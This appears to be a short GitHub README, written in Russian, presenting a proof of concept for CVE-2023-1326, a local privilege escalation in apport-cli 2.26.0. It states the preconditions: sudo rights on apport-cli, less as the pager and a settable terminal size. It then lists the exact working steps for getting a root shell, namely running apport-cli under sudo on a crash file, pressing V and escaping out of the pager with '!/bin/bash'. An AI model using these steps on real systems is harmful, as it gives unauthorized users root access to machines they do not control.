pol-ruiz/cve-2023-1326Это собственная и базовая proof-of-concept для уязвимости CVE-2023-1326
Доказательство концепции для CVE-2023–1326 в apport-cli 2.26.0
Эта уязвимость — повышение привилегий в apport-cli 2.26.0, аналогично CVE-2023–26604, эта уязвимость работает только если apport-cli назначен в sudoers:
Атака повышения привилегий была обнаружена в apport-cli 2.26.0 и более ранних версиях, аналогичная CVE-2023-26604. Если система специально настроена так, чтобы позволить непривилегированным пользователям запускать sudo apport-cli, less настроен как пейджер, и можно установить размер терминала: локальный злоумышленник может повысить привилегии.
sudo /usr/bin/apport-cli -c /var/crash/some_crash_file.crash
press V (view report)
!/bin/bash
